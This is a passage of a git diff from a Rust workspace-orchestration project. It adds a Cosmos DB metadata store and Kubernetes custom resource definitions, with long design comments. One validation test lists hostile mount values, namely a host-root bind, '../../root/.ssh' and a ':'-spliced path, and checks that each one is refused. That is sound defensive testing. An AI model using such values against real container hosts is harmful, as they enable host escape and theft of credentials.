svc(folder: &str, path: &str) -> Service { + Service { + name: "web".into(), + image: "nginx".into(), + command: vec![], + env: Default::default(), + mounts: vec![Mount { folder: folder.into(), path: path.into() }], + ports: vec![], + } + } + + #[test] + fn create_env_refuses_a_traversing_mount() { + assert!(check_services(&[svc("data", "/data")]).is_ok()); + // The C1 payload: `{"folder": "/", "path": "/host"}` bind-mounts the host root RW into a + // container whose image the same caller chose. + for bad in ["/", "..", "a/b", "", "../../root/.ssh", "a:b"] { + assert!(check_services(&[svc(bad, "/host")]).is_err(), "folder {bad:?} must be refused"); + } + assert!(check_services(&[svc("data", "/data:/etc")]).is_err(), "a ':' in path splices a mapping"); + assert!(check_services(&[svc("data", "relative")]).is_err()); + } +} diff --git a/crates/workspaces/src/cosmos.rs b/crates/workspaces/src/cosmos.rs new file mode 100644 index 00000000..5da8589f --- /dev/null +++ b/crates/workspaces/src/cosmos.rs @@ -0,0 +1,97 @@ +//! Cosmos DB implementation of `MetaStore`. Verified against the vendored source of +//! `azure_data_cosmos` 0.30 (~/.cargo/registry/src/*/azure_data_cosmos-0.30.0) rather than +//! guessed: key auth is `CosmosClient::with_key` (needs the `key_auth` feature, off by +//! default), CAS is `ItemOptions::if_match_etag` + the `IF_MATCH` header, and status codes +//! surface via `azure_core::Error::http_status()`. + +use crate::model::Region; +use crate::store::{MetaStore, StoreErr}; +use azure_core::credentials::Secret; +use azure_core::http::StatusCode; +use azure_data_cosmos::clients::{ContainerClient, DatabaseClient}; +use azure_data_cosmos::models::{ContainerProperties, PartitionKeyDefinition}; +use azure_data_cosmos::{CosmosClient, PartitionKey}; +use serde::de::DeserializeOwned; + +fn map_err(e: azure_core::Error) -> StoreErr { + match e.http_status() { + Some(StatusCode::PreconditionFailed) => StoreErr::CasFailed, + Some(StatusCode::NotFound) => StoreErr::NotFound, + Some(StatusCode::Conflict) => StoreErr::Conflict, + _ => StoreErr::Other(e.to_string()), + } +} + +pub struct CosmosStore { + db: DatabaseClient, + regions: ContainerClient, +} + +impl CosmosStore { + pub async fn new(endpoint: &str, key: &str, database: &str) -> Result { + let client = CosmosClient::with_key(endpoint, Secret::from(key.to_string()), None) + .map_err(map_err)?; + + match client.create_database(database, None).await { + Ok(_) => {} + Err(e) if e.http_status() == Some(StatusCode::Conflict) => {} + Err(e) => return Err(map_err(e)), + } + let db = client.database_client(database); + + create_container_if_not_exists(&db, "regions", "/id").await?; + + Ok(CosmosStore { regions: db.container_client("regions"), db }) + } + + /// Drops the underlying database. Used by tests to clean up `wstest-{uuid}` databases. + pub async fn drop_database(&self) -> Result<(), StoreErr> { + self.db.delete(None).await.map_err(map_err)?; + Ok(()) + } +} + +async fn create_container_if_not_exists( + db: &DatabaseClient, + id: &str, + partition_key_path: &str, +) -> Result<(), StoreErr> { + let properties = ContainerProperties { + id: id.to_string().into(), + partition_key: PartitionKeyDefinition::from(partition_key_path.to_string()), + ..Default::default() + }; + match db.create_container(properties, None).await { + Ok(_) => Ok(()), + Err(e) if e.http_status() == Some(StatusCode::Conflict) => Ok(()), + Err(e) => Err(map_err(e)), + } +} + +async fn query_items( + container: &ContainerClient, + query: &str, + partition_key: PartitionKey, +) -> Result, StoreErr> { + use futures::TryStreamExt as _; + let pager = container + .query_items::(query, partition_key, None) + .map_err(map_err)?; + pager.try_collect().await.map_err(map_err) +} + +#[async_trait::async_trait] +impl MetaStore for CosmosStore { + async fn put_region(&self, r: &Region) -> Result<(), StoreErr> { + self.regions + .upsert_item(r.id.clone(), r.clone(), None) + .await + .map_err(map_err)?; + Ok(()) + } + + async fn regions(&self) -> Result, StoreErr> { + query_items(&self.regions, "SELECT * FROM c", PartitionKey::EMPTY).await + } +} + diff --git a/crates/workspaces/src/crd.rs b/crates/workspaces/src/crd.rs new file mode 100644 index 00000000..f8cc83e3 --- /dev/null +++ b/crates/workspaces/src/crd.rs @@ -0,0 +1,796 @@ +//! The `rustic-git.io/v1alpha1` custom resources — the reconcile substrate for workspaces and +//! environments. +//! +//! These types ARE the source of truth. `/v1` writes spec, each node's controller reconciles the +//! objects bound to it and writes status back through the `/status` subresource. Cosmos keeps only +//! cross-cluster `Region` metadata; where the two could disagree, the CRD wins, always. +//! +//! Two attributes on every kind are load-bearing and both fail SILENTLY when dropped, which is why +//! `tests/crd_yaml.rs` asserts them rather than trusting review: +//! +//! * `status = "…"` emits the `/status` subresource. Without it a status write folds into spec, and +//! the RBAC split that stops a controller editing its own desired state becomes decorative. The +//! split is half of that guarantee: the agent still holds `patch` on the main resources (for +//! labels, finalizers and `VolumeSpec::restore_to`), and it is the ValidatingAdmissionPolicy in +//! `deploy/k3s/agent-admission.yaml` that refuses it any other spec change. +//! * `selectable = "…nodeName"` emits `selectableFields`, which is what lets a controller watch +//! only its own node's objects. Without it every node sees every object and two agents race the +//! same subvolume. WHICH path is selectable differs by kind: placement is a fact the controllers +//! establish, so a parent (`Workspace`, `Environment`) selects on `.status.nodeName` while a +//! controller-written child (`Volume`) selects on `.spec.nodeName`. +//! +//! All five kinds are CLUSTER-scoped (no `namespaced` attribute): they name node-local storage, and +//! a namespace would imply a tenancy boundary the btrfs pool does not have. The pods and services +//! they produce are namespaced; the objects describing them are not. + +use k8s_openapi::apiextensions_apiserver::pkg::apis::apiextensions::v1::CustomResourceDefinition; +use kube::{CustomResource, CustomResourceExt}; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; + +pub use k8s_openapi::apimachinery::pkg::apis::meta::v1::Condition; + +pub const GROUP: &str = "rustic-git.io"; +pub const VERSION: &str = "v1alpha1"; +/// `/v1` writes spec under this manager; the controller writes status under the one below. Two +/// distinct managers is what makes a server-side-apply conflict mean something. +pub const FIELD_MANAGER: &str = "rustic-git"; +pub const AGENT_FIELD_MANAGER: &str = "rustic-git-agent"; +/// Held while a subvolume exists on a node. The object must outlive the delete request until the +/// controller has actually reclaimed the bytes — otherwise the record of what to reclaim is gone +/// before the reclaim happens. +pub const SUBVOLUME_FINALIZER: &str = "rustic-git.io/subvolume"; +/// Held while a `SnapshotRequest` may have work in flight. +/// +/// Same reason `Volume` has one, and the reason the earlier "a plain delete, no finalizer" was +/// wrong: that is true of a FINISHED request and false of a working one. A delete during +/// `phase: working` leaves a btrfs RO snapshot, a stage file, an in-flight blob upload and a +/// possible `POST /commits` with no object left to record the outcome in — and the Volume's own +/// finalizer does not cover it, because a SnapshotRequest is deliberately not the Volume's child. +pub const SNAPSHOT_FINALIZER: &str = "rustic-git.io/snapshot"; + +/// What the operator asked for, independent of what is currently true. +#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, Deserialize, JsonSchema)] +#[serde(rename_all = "camelCase")] +pub enum DesiredState { + Running, + Stopped, +} + +/// Where a volume's initial content comes from. Absent means an empty subvolume. +#[derive(Clone, Debug, PartialEq, Serialize, Deserialize, JsonSchema)] +#[serde(rename_all = "camelCase")] +pub enum VolumeSource { + /// A local snapshot of a sibling on the same pool — no registry round trip. + CloneOf { volume: String }, + /// A pushed commit, named by id, fetched from the registry. + /// + /// `region` is the region the RECORD names, which is not always the region this node runs in: + /// a snapshot pushed from the VM region restores onto a k3s node, and its blobs live in the + /// VM region's container. The API resolves it (it holds the region store and the caller's + /// authorization); the agent maps it to credentials. Absent means "this node's own region" — + /// every record written before this field existed. + RestoreOf { + volume: String, + snapshot_id: String, + /// The registry owner LABEL the source volume lives under — a team slug for a team's + /// environment, which is not the owner of the object being restored INTO. Absent means + /// "the same owner", which is every record written before this and every personal restore. + #[serde(default, skip_serializing_if = "Option::is_none")] + owner: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + region: Option, + }, + /// A git repository on this platform, cloned at `branch` into the fresh subvolume by the + /// workspace pod's INIT CONTAINER, not by the agent. + /// + /// No credential here and none in a Secret either: the clone runs inside the workspace, over + /// SSH, as the owner, with the platform key already mounted at `k8s::USER_KEY_PATH`. The old + /// `credential_secret` named a Secret nobody ever wrote and the agent had no permission to + /// read — the git-seeding path was dead code that looked wired. + GitRepo { repo: String, branch: String }, +} + +/// "Put this snapshot back into the volume that is already there", as a wish rather than a verb. +/// +/// The API writes it on the parent (`EnvironmentSpec::restore`); the parent's reconciler copies it +/// down to the child it owns (`VolumeSpec::restore_to`) once the services are down. It is never +/// CLEARED by a controller: a wish that is done is one whose `snapshotId` the Volume already +/// reports in `status.restoredTo`, so a second restore of the SAME snapshot is expressible — a new +/// `requestedAt` makes it a different wish. +#[derive(Clone, Debug, PartialEq, Serialize, Deserialize, JsonSchema)] +#[serde(rename_all = "camelCase")] +pub struct RestoreWish { + pub snapshot_id: String, + /// The volume the RECORD lives under, which is not always the volume being restored INTO — a + /// restore can graft another volume's snapshot in place. + pub volume: String, + /// The registry owner LABEL of `volume` (a team slug for a team's environment). Absent means + /// the destination's own owner — same rule as `VolumeSource::RestoreOf`. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub owner: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub region: Option, + /// RFC-3339, written by the API. The only thing that distinguishes "restore this snapshot + /// again" from "already done". + #[serde(default)] + pub requested_at: String, +} + +#[derive(CustomResource, Clone, Debug, PartialEq, Serialize, Deserialize, JsonSchema)] +#[kube( + group = "rustic-git.io", + version = "v1alpha1", + kind = "Volume", + plural = "volumes", + shortname = "vol", + status = "VolumeStatus", + selectable = ".spec.nodeName", + printcolumn = r#"{"name":"Owner","type":"string","jsonPath":".spec.owner"}"#, + printcolumn = r#"{"name":"Node","type":"string","jsonPath":".spec.nodeName"}"#, + printcolumn = r#"{"name":"Phase","type":"string","jsonPath":".status.phase"}"#, + printcolumn = r#"{"name":"Age","type":"date","jsonPath":".metadata.creationTimestamp"}"#, + derive = "PartialEq" +)] +#[serde(rename_all = "camelCase")] +pub struct VolumeSpec { + pub owner: String, + /// Same meaning as `WorkspaceSpec::team`; carried here because the controller materializes a + /// volume before its workspace exists and needs the namespace for the git credential. + #[serde(default)] + pub team: String, + /// Copied ONCE from the parent's `status.nodeName` when the parent's controller creates this + /// child (`ensure_child_volume`) — the node whose claim won, which honours the owner's + /// `OwnerBinding` when one exists. A pod's affinity is derived from this and never chosen + /// independently — two places allowed to name a node is two places that can disagree about + /// where the data is. + pub node_name: String, + pub region: String, + pub quota_gb: u64, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub source: Option, + /// Written by the PARENT's reconciler, never by a user: restoring in place under a running + /// service is how a database ends up with a half-old disk, so the parent scales down first and + /// only then asks for this. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub restore_to: Option, +} + +#[derive(Clone, Debug, Default, PartialEq, Serialize, Deserialize, JsonSchema)] +#[serde(rename_all = "camelCase")] +pub struct VolumeStatus { + pub phase: Phase, + /// The snapshot id last materialized INTO `live`. `spec.restoreTo.snapshotId` == this is the + /// whole "already done" test, on both sides: the Volume does not restore again and the parent + /// scales its services back up. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub restored_to: Option, + /// The `requestedAt` of the wish that put `restoredTo` there. Both halves, or restoring the + /// SAME snapshot a second time is a silent no-op — which is exactly what someone does after + /// undoing a restore by hand, or after a bad afternoon of changes. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub restore_requested_at: Option, + /// Stamped from `metadata.generation` so a reconcile can tell "already done" from "not yet + /// seen" — the difference between an idle requeue and a duplicated btrfs send. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub observed_generation: Option, + #[serde(default)] + pub subvolume_present: bool, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub lineage_tip: Option, + // No `lastSnapshot` and no `lastPush`: "the newest snapshot of this volume" is a query over + // `SnapshotRequest`s by the `rustic-git.io/volume` label. A second controller writing this + // status object would prune the first one's fields — `patch_status` applies FORCED under one + // `AGENT_FIELD_MANAGER`, and server-side apply removes fields a manager previously owned and no + // longer sets, so the Volume reconciler's very next pass would delete whatever the snapshot + // reconciler had just written. + /// Human-readable progress for work that outlives one reconcile (a multi-GB send). + #[serde(default, skip_serializing_if = "Option::is_none")] + pub progress: Option, + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub conditions: Vec, +} + +/// Requests and limits for a workspace pod, as plain strings in Kubernetes quantity form. +#[derive(Clone, Debug, PartialEq, Serialize, Deserialize, JsonSchema)] +#[serde(rename_all = "camelCase")] +pub struct PodResources { + pub cpu_request: String, + pub cpu_limit: String, + pub memory_request: String, + pub memory_limit: String, +} + +impl Default for PodResources { + /// The "M" session slot from the capacity model: guarantee 4 GB / 2 vCPU, limit 8 GB / 4 vCPU. + /// + /// The REQUEST is the load-bearing half. It is what the scheduler packs against, so it — not + /// the limit — decides how many sessions a node holds and therefore what a session costs. The + /// previous 512Mi/250m request was a small floor "with room to burst", which let a 128 GB node + /// accept roughly 235 sessions against the model's ~30, and made the model's "guaranteed CPU is + /// NOT oversubscribed on session nodes" false: 235 × 2 vCPU of promised capacity on 64 vCPU. + /// + /// The arithmetic these numbers have to satisfy, on a 32-OCPU / 128 GB session node at the + /// model's 94% usable-memory headroom: 120 GB ÷ 4 GB = 30 sessions, needing 30 × 2 = 60 vCPU of + /// 64. Memory-bound, CPU fits, guarantee honoured. + fn default() -> Self { + Self { + cpu_request: "2".into(), + cpu_limit: "4".into(), + memory_request: "4Gi".into(), + memory_limit: "8Gi".into(), + } + } +} + +/// What the user asked of a parent object's storage. This is what the API used to author directly +/// as a `VolumeSpec`; the parent's reconciler is what turns it into a `Volume` now. +#[derive(Clone, Debug, PartialEq, Serialize, Deserialize, JsonSchema)] +#[serde(rename_all = "camelCase")] +pub struct WorkspaceStorage { + pub quota_gb: u64, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub source: Option, +} + +/// Every lifecycle state any of the five kinds reports, as ONE enum. +/// +/// An enum rather than a `String` so schemars emits `enum` and the API server rejects a typo with a +/// 422. A free-form string is how `running` reached a `WsState` that spells that state `Ready`: the +/// projection's `serde_json::from_value` fell back to its default, so a healthy workspace showed +/// "Creating" in the UI indefinitely, with nothing failing and nothing logged. +/// +/// One enum for five kinds rather than five, because the alternative is five near-identical types +/// and a `phase` field whose type a reader has to look up per kind. Which variants are legal for +/// which kind is the reconciler's business; the schema's job is to refuse a word nobody defined. +#[derive(Clone, Copy, Debug, Default, PartialEq, Eq, Serialize, Deserialize, JsonSchema)] +#[serde(rename_all = "camelCase")] +pub enum Phase { + /// Created, not yet claimed by a node. + #[default] + Pending, + Creating, + /// A workspace whose pod is Ready, or a Volume whose subvolume is materialized. + Ready, + /// An environment whose services are up. (`WsState` has no `Running`; `EnvState` has no + /// `Ready` — the two projections disagree, and this enum is the union.) + Running, + Stopped, + /// A btrfs operation is in flight. + Working, + /// A `SnapshotRequest` whose record is in the registry. Never re-run past this. + Done, + Error, +} + +impl Phase { + /// The wire word, so a projection can go on matching on `&str` and the `/v1` docs' own enums + /// (`model::WsState`, `model::EnvState`) stay the separate vocabulary they are. + pub fn as_str(self) -> &'static str { + match self { + Phase::Pending => "pending", + Phase::Creating => "creating", + Phase::Ready => "ready", + Phase::Running => "running", + Phase::Stopped => "stopped", + Phase::Working => "working", + Phase::Done => "done", + Phase::Error => "error", + } + } +} + +#[derive(CustomResource, Clone, Debug, PartialEq, Serialize, Deserialize, JsonSchema)] +#[kube( + group = "rustic-git.io", + version = "v1alpha1", + kind = "Workspace", + plural = "workspaces", + shortname = "ws", + status = "WorkspaceStatus", + // Placement is a FACT the controllers establish, so it lives in status — and a status path is + // a legal selectable field (only metadata is forbidden, and arrays are not allowed). An empty + // value is what the unplaced watch selects on. + selectable = ".status.nodeName", + printcolumn = r#"{"name":"Owner","type":"string","jsonPath":".spec.owner"}"#, + printcolumn = r#"{"name":"Node","type":"string","jsonPath":".status.nodeName"}"#, + printcolumn = r#"{"name":"Phase","type":"string","jsonPath":".status.phase"}"#, + printcolumn = r#"{"name":"Age","type":"date","jsonPath":".metadata.creationTimestamp"}"#, + derive = "PartialEq" +)] +#[serde(rename_all = "camelCase")] +pub struct WorkspaceSpec { + pub owner: String, + /// The team this workspace is made in, or empty for the owner's personal namespace. A + /// workspace's Kubernetes namespace is one per (team, owner) pair — see `ws_namespace` — so + /// the same person's work in two teams never shares a namespace, a NetworkPolicy or a Secret. + #[serde(default)] + pub team: String, + pub name: String, + pub region: String, + pub image: String, + /// Optional in release 1: an object created before this field existed must still PARSE, or the + /// controller 422s every legacy Workspace it tries to write. A legacy object is adopted through + /// its deprecated `spec.volumeRef` instead; Task 11 is what makes this required. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub storage: Option, + pub desired_state: DesiredState, + /// In-place restore, same wish the Environment takes. Written by the API, consumed by this + /// object's reconciler. Workspaces do not offer it in the UI yet — the field exists so the + /// owner-only workspace restore can use the one code path rather than growing a second. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub restore: Option, + #[serde(default)] + pub resources: PodResources, + /// DEPRECATED, release 1 only. The API stopped writing these the moment placement moved into + /// status, but they stay in the SCHEMA for one release: a CRD apply is cluster-wide and pruning + /// is irreversible, while the agents roll per node — dropping them here would destroy the only + /// pointer to the Volume of every object whose migration had not run yet. The startup migration + /// reads them; Task 11 removes them once nothing carries them. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub node_name: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub volume_ref: Option, + /// The package list, written by the API. Lives on `spec`, not a file in the workspace's own + /// subvolume: one object, one list — a clone copies it for free along with the rest of spec, + /// and a restore (which grafts onto a past snapshot of the volume) never touches it, because + /// spec is not part of what a restore replaces. + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub packages: Vec, +} + +#[derive(Clone, Debug, Default, PartialEq, Serialize, Deserialize, JsonSchema)] +#[serde(rename_all = "camelCase")] +pub struct WorkspaceStatus { + pub phase: Phase, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub observed_generation: Option, + /// Where this object runs NOW. Empty means unplaced, which is exactly what the placement + /// watch's `status.nodeName=` field selector matches. + #[serde(default)] + pub node_name: String, + /// Every node that holds this object's volume — the memory placement uses when `nodeName` is + /// empty. Nothing in this design writes more than one entry; nothing in it may assume there is + /// only one (replication across nodes is a later design). + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub compatible_nodes: Vec, + /// The child `Volume`, reported rather than wished for: the reconciler creates it and then + /// says so here. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub volume_ref: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub pod_ref: Option, + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub conditions: Vec, + /// The package profile actually converged, reported rather than wished for — `spec.packages` + /// carries the list the reconciler last saw; this is what building it produced. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub packages: Option, + /// The pod's SSH public host key, reported by the node once sshd's key exists. The CLI pins + /// it in `known_hosts`, so an absent one means "no session yet", never "trust on first use". + #[serde(default, skip_serializing_if = "Option::is_none")] + pub ssh_host_key: Option, +} + +/// What the reconciler last saw and built from `spec.packages`: `observed` and `observed_hash` +/// are the LIST as of the last pass (the hash is the idempotency key — a rebuild is skipped when +/// it still matches), while `profile` is the Nix store path the profile on disk actually +/// resolved to. +#[derive(Clone, Debug, Default, PartialEq, Serialize, Deserialize, JsonSchema)] +#[serde(rename_all = "camelCase")] +pub struct PackagesStatus { + /// The platform's base set the profile was built with, on top of `observed`. Reported so a + /// page can show what every workspace gets without asking the node which env it runs with. + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub base: Vec, + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub observed: Vec, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub observed_hash: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub profile: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub nixpkgs: Option, +} + +#[derive(Clone, Debug, PartialEq, Serialize, Deserialize, JsonSchema)] +#[serde(rename_all = "camelCase")] +pub struct ServiceStatus { + pub name: String, + pub ready: bool, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub message: Option, +} + +#[derive(CustomResource, Clone, Debug, PartialEq, Serialize, Deserialize, JsonSchema)] +#[kube( + group = "rustic-git.io", + version = "v1alpha1", + kind = "Environment", + plural = "environments", + shortname = "env", + status = "EnvironmentStatus", + // Placement is a FACT the controllers establish, so it lives in status — and a status path is + // a legal selectable field (only metadata is forbidden, and arrays are not allowed). An empty + // value is what the unplaced watch selects on. + selectable = ".status.nodeName", + printcolumn = r#"{"name":"Owner","type":"string","jsonPath":".spec.owner"}"#, + printcolumn = r#"{"name":"Node","type":"string","jsonPath":".status.nodeName"}"#, + printcolumn = r#"{"name":"Phase","type":"string","jsonPath":".status.phase"}"#, + printcolumn = r#"{"name":"Age","type":"date","jsonPath":".metadata.creationTimestamp"}"#, + derive = "PartialEq" +)] +#[serde(rename_all = "camelCase")] +pub struct EnvironmentSpec { + /// A team, usually — environments are team-owned, workspaces are user-owned. + pub owner: String, + pub name: String, + pub region: String, + /// Reused verbatim from the domain model: the same `Service`/`Mount` the `/v1` API has always + /// taken, so a mount is still validated by `model::validate_mount` before it becomes a volume. + pub services: Vec, + /// Optional in release 1, same reason as `WorkspaceSpec::storage`. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub storage: Option, + pub desired_state: DesiredState, + /// The user's wish to put a past snapshot back into THIS environment's own disk, rather than + /// into a new one. Additive and never cleared by a controller — see `RestoreWish`. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub restore: Option, + /// DEPRECATED, release 1 only. The API stopped writing these the moment placement moved into + /// status, but they stay in the SCHEMA for one release: a CRD apply is cluster-wide and pruning + /// is irreversible, while the agents roll per node — dropping them here would destroy the only + /// pointer to the Volume of every object whose migration had not run yet. The startup migration + /// reads them; Task 11 removes them once nothing carries them. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub node_name: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub volume_ref: Option, +} + +#[derive(Clone, Debug, Default, PartialEq, Serialize, Deserialize, JsonSchema)] +#[serde(rename_all = "camelCase")] +pub struct EnvironmentStatus { + pub phase: Phase, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub observed_generation: Option, + /// Where this object runs NOW. Empty means unplaced, which is exactly what the placement + /// watch's `status.nodeName=` field selector matches. + #[serde(default)] + pub node_name: String, + /// Every node that holds this object's volume — the memory placement uses when `nodeName` is + /// empty. Nothing in this design writes more than one entry; nothing in it may assume there is + /// only one (replication across nodes is a later design). + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub compatible_nodes: Vec, + /// The child `Volume`, reported rather than wished for: the reconciler creates it and then + /// says so here. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub volume_ref: Option, + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub service_status: Vec, + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub conditions: Vec, +} + +/// Which node an owner's work lands on. One object per `{region, owner}`. +/// +/// Watched by the agent on `spec.nodeName`: this object is what makes an owner's per-team +/// namespaces exist on that node. +#[derive(CustomResource, Clone, Debug, PartialEq, Serialize, Deserialize, JsonSchema)] +#[kube( + group = "rustic-git.io", + version = "v1alpha1", + kind = "OwnerBinding", + plural = "ownerbindings", + shortname = "ob", + status = "OwnerBindingStatus", + selectable = ".spec.nodeName", + printcolumn = r#"{"name":"Owner","type":"string","jsonPath":".spec.owner"}"#, + printcolumn = r#"{"name":"Node","type":"string","jsonPath":".spec.nodeName"}"#, + printcolumn = r#"{"name":"Region","type":"string","jsonPath":".spec.region"}"#, + derive = "PartialEq" +)] +#[serde(rename_all = "camelCase")] +pub struct OwnerBindingSpec { + pub owner: String, + pub region: String, + pub node_name: String, +} + +#[derive(Clone, Debug, Default, PartialEq, Serialize, Deserialize, JsonSchema)] +#[serde(rename_all = "camelCase")] +pub struct OwnerBindingStatus { + #[serde(default, skip_serializing_if = "Option::is_none")] + pub observed_generation: Option, + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub conditions: Vec, +} + +/// One push, as an object: the request the user made and, in status, what it produced. +/// +/// A CR rather than the annotation it replaces, because a push is a wish WITH AN OUTCOME and an +/// annotation has nowhere to put the outcome — the old design smuggled it into +/// `Volume.status.lastPush.at` by echoing the request's timestamp back. +/// +/// Deliberately NOT owned by the Volume: a snapshot outlives a deleted workspace, because the +/// record it names still exists on the server tier. Deleting this object deletes no data. +/// ponytail: no snapshot deletion or retention yet; the GC sweep for blobs is unchanged. +#[derive(CustomResource, Clone, Debug, PartialEq, Serialize, Deserialize, JsonSchema)] +#[kube( + group = "rustic-git.io", + version = "v1alpha1", + kind = "SnapshotRequest", + plural = "snapshotrequests", + shortname = "snap", + status = "SnapshotRequestStatus", + // NO `selectable`, deliberately. A node is a controller-owned fact and the API does not copy + // facts into spec: the node this runs on is the named Volume's `spec.nodeName`, which moves + // under node retirement and would go stale the instant it was copied here. Every agent watches + // every request and acts only on the ones whose Volume is its own. + // ponytail: every agent sees every request — two nodes today, so the fan-out is two. A + // `spec.volume`-indexed reflector is the upgrade if the request count ever makes this hot. + printcolumn = r#"{"name":"Volume","type":"string","jsonPath":".spec.volume"}"#, + printcolumn = r#"{"name":"Phase","type":"string","jsonPath":".status.phase"}"#, + printcolumn = r#"{"name":"Snapshot","type":"string","jsonPath":".status.snapshotId"}"#, + printcolumn = r#"{"name":"Age","type":"date","jsonPath":".metadata.creationTimestamp"}"#, + derive = "PartialEq" +)] +#[serde(rename_all = "camelCase")] +pub struct SnapshotRequestSpec { + /// The `Volume` to snapshot, by name. The whole spec: everything else about a push is either a + /// fact a controller owns (the node) or an outcome (the record id). + pub volume: String, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub message: Option, +} + +#[derive(Clone, Debug, Default, PartialEq, Serialize, Deserialize, JsonSchema)] +#[serde(rename_all = "camelCase")] +pub struct SnapshotRequestStatus { + /// `pending` | `working` | `done` | `error`. A request is never re-run past `done`. + pub phase: Phase, + /// Mostly a "seen it" marker — the spec is immutable in practice, and `phase != done` is the + /// real idempotency guard. Present because every status in this group carries one, and a + /// reader who has to check per kind will eventually check wrong. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub observed_generation: Option, + /// The registry commit record's id — the snapshot itself. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub snapshot_id: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub lineage_tip: Option, + /// RFC 3339, when the record landed. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub at: Option, + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub conditions: Vec, +} + +/// The label a `SnapshotRequest` carries so `/v1/volumes/{id}/history` is one indexed list call +/// rather than a scan. Same rule as every other label here: a VIEW of `spec.volume`, never +/// authorization. +pub const VOLUME_LABEL: &str = "rustic-git.io/volume"; + +/// A push, ready to `create`. Created and never patched: a request is immutable and its outcome +/// lives in its own status, so a second push is a second OBJECT rather than a timestamp moving +/// forward on a shared one — which is what the annotation it replaces could not express. +/// +/// The finalizer is set at creation because the work can start on the very first reconcile; adding +/// it later leaves a window where a delete during `working` orphans an in-flight `btrfs send`. +pub fn snapshot_request(name: &str, owner: &str, volume: &str, message: Option) -> SnapshotRequest { + let mut r = SnapshotRequest::new(name, SnapshotRequestSpec { volume: volume.to_string(), message }); + r.metadata.finalizers = Some(vec![SNAPSHOT_FINALIZER.to_string()]); + r.metadata.labels = Some(std::collections::BTreeMap::from([ + ("rustic-git.io/owner".to_string(), owner.to_string()), + (VOLUME_LABEL.to_string(), volume.to_string()), + ])); + r +} + +/// Has the Volume already granted this exact wish? +/// +/// Both halves of the pair, and the ONE place that decides it — the Volume's own guard and its +/// parent's gate must never disagree about whether a restore is finished, or one scales services +/// back up while the other still means to swap the disk under them. +pub fn wish_granted(wish: &RestoreWish, restored_to: Option<&str>, restored_at: Option<&str>) -> bool { + restored_to == Some(wish.snapshot_id.as_str()) && restored_at == Some(wish.requested_at.as_str()) +} + +/// The RFC-1123 object name for an owner's node binding: `{region}-{owner}` plus a hash tail +/// over the PAIR. Region ids and handles both allow `-`, so the bare join was ambiguous — +/// `centralindia-x` + `att` and `centralindia` + `x-att` — and the tail is what tells them apart. +pub fn binding_name(region: &str, owner: &str) -> String { + let (region, owner) = (region.to_lowercase(), owner.to_lowercase()); + dns_label(&format!("{region}-{owner}-{}", pair_tail(®ion, &owner))) +} + +/// Twelve hex characters of sha256 over `"{a}/{b}"`. `/` is the separator because no handle, +/// team slug or region id can contain it, which is what makes the pre-image — and so the tail — +/// distinct for distinct pairs. +fn pair_tail(a: &str, b: &str) -> String { + hex_prefix(&format!("{a}/{b}"), 6) +} + +fn hex_prefix(raw: &str, bytes: usize) -> String { + use sha2::Digest; + sha2::Sha256::digest(raw.as_bytes()).iter().take(bytes).map(|b| format!("{b:02x}")).collect() +} + +/// The namespace ALL of an owner's workspace pods live in — one per user, not one per workspace. +/// +/// Shared on purpose: it keeps the object count proportional to users rather than to workspaces, +/// and it gives a per-user `ResourceQuota` somewhere to live, which is the unit a limit is +/// naturally expressed in ("this user gets N CPUs across everything they run"). +/// +/// Two consequences follow and are handled where they arise, not here: the namespace must carry NO +/// `ownerReference` (deleting one workspace would otherwise garbage-collect the namespace and every +/// sibling in it), and an attachment must select the individual workspace's POD rather than the +/// whole namespace (see `k8s::attach_policy`). +/// +/// Personal is `ws-{owner}`; a team pair is `wt-{owner}-{tail}`, the tail hashed over +/// `(team, owner)`. Not `ws-{team}-{owner}`: handles and team slugs both allow `-`, so team +/// `acme` with owner `bob` and the personal namespace of handle `acme-bob` were ONE namespace, and the +/// fixed-name `user-key` Secret in it — the owner's private git key — was shared between two +/// people. A distinct prefix keeps team namespaces out of the personal keyspace entirely, and the +/// tail keeps two pairs apart without a separator a handle could forge. The longest case is +/// `wt-` + 39 + `-` + 12 = 55 characters, so a team name never reaches `dns_label`'s truncation. +pub fn 